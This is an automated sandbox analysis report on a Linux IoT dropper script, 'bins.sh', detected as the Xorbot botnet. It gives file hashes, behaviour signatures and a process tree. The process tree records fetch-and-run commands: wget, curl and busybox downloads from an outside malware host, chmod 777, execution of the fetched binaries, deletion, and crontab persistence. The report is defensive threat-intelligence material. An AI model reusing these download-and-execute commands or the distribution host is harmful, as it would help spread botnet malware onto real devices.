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Analysis

  • max time kernel
    122s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    28/02/2025, 12:32

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    5f5a8beaeee13fdd7a462ebf3797535c

  • SHA1

    982824d6165ed0668b25d6765b631170fc8bbd1d

  • SHA256

    d3d3f91578e875f1bf3302e63df0e3d51179d6f4e0c3cdcdc4fd7eef1027fc81

  • SHA512

    1569973908da43ee2f414331f4f81ec6106545ec4140272be439351c81bf2e2b27877e9e444c1e7290f195510f59b475de7885999bcc273392e0a0a778b7f01a

  • SSDEEP

    96:YokU5Utt6LLnXIEgLsXasZeEINqKqCqE5FJLeOILQAQ8Q8rLNL04hyK1mZEZIZZy:75tgd4t/NYQ3SuaZNnEb7YQ3Su4ZNnY

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 13 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:741
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:749
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:751
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:817
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:852
      • /bin/chmod
        chmod 777 coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
        • File and Directory Permissions Modification
        PID:853
      • /tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        ./coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
          PID:854
        • /bin/rm
          rm coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
          2⤵
            PID:856
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:857
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:858
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:860
          • /bin/chmod
            chmod 777 hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
            • File and Directory Permissions Modification
            PID:861
          • /tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            ./hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
              PID:862
            • /bin/rm
              rm hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
              2⤵
                PID:864
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:865
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:866
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                • System Network Configuration Discovery
                PID:868
              • /bin/chmod
                chmod 777 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                • File and Directory Permissions Modification
                PID:869
              • /tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                ./6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                • Renames itself
                • Reads runtime system information
                PID:870
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:872
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:873
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:874
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:875
                    • /bin/rm
                      rm 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                      2⤵
                        PID:877
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                        2⤵
                        • System Network Configuration Discovery
                        PID:880
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                        2⤵
                        • System Network Configuration Discovery
                        PID:961
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:967
                      • /bin/chmod
                        chmod 777 BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                        2⤵
                        • File and Directory Permissions Modification
                        PID:976
                      • /tmp/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                        ./BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                        2⤵
                          PID:977
                        • /bin/rm
                          rm BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                          2⤵
                            PID:979
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                            2⤵
                            • System Network Configuration Discovery
                            PID:980

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /tmp/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY

                          Filesize

                          151KB

                          MD5

                          6c583043d91c55aa470c08c87058e917

                          SHA1

                          abf65a5b9bba69980278ad09356e53de8bb89439

                          SHA256

                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                          SHA512

                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                        • /tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F

                          Filesize

                          107KB

                          MD5

                          eb9c3a0de91fcf16ba17cb24608df68c

                          SHA1

                          09d95a7d70d5e115d103be51edff7c498d272fac

                          SHA256

                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                          SHA512

                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                        • /tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74

                          Filesize

                          127KB

                          MD5

                          89077b7bd4bcafca7713be43635c4862

                          SHA1

                          fc02edb8fba29ea8ee99e6157ef8560334530052

                          SHA256

                          78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                          SHA512

                          1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                        • /var/spool/cron/crontabs/tmp.Zx3nNK

                          Filesize

                          210B

                          MD5

                          ad3dc30c94fbdfd5e0cc976614ca9e0a

                          SHA1

                          211eadfa8f3377764a2282d510dfafbefca905fa

                          SHA256

                          9b6d259995aaa1906a0a83114a66debfaaad366b25e9903ea1051bfe99a4e1a6

                          SHA512

                          2c80833297d650b500c9cc853639fcb47d78fba7dcc7c66a7419649f3d54746c41ee7e440029d6f74270ff8cb63f06934452b209f433fc0a3a9b4224a4c25402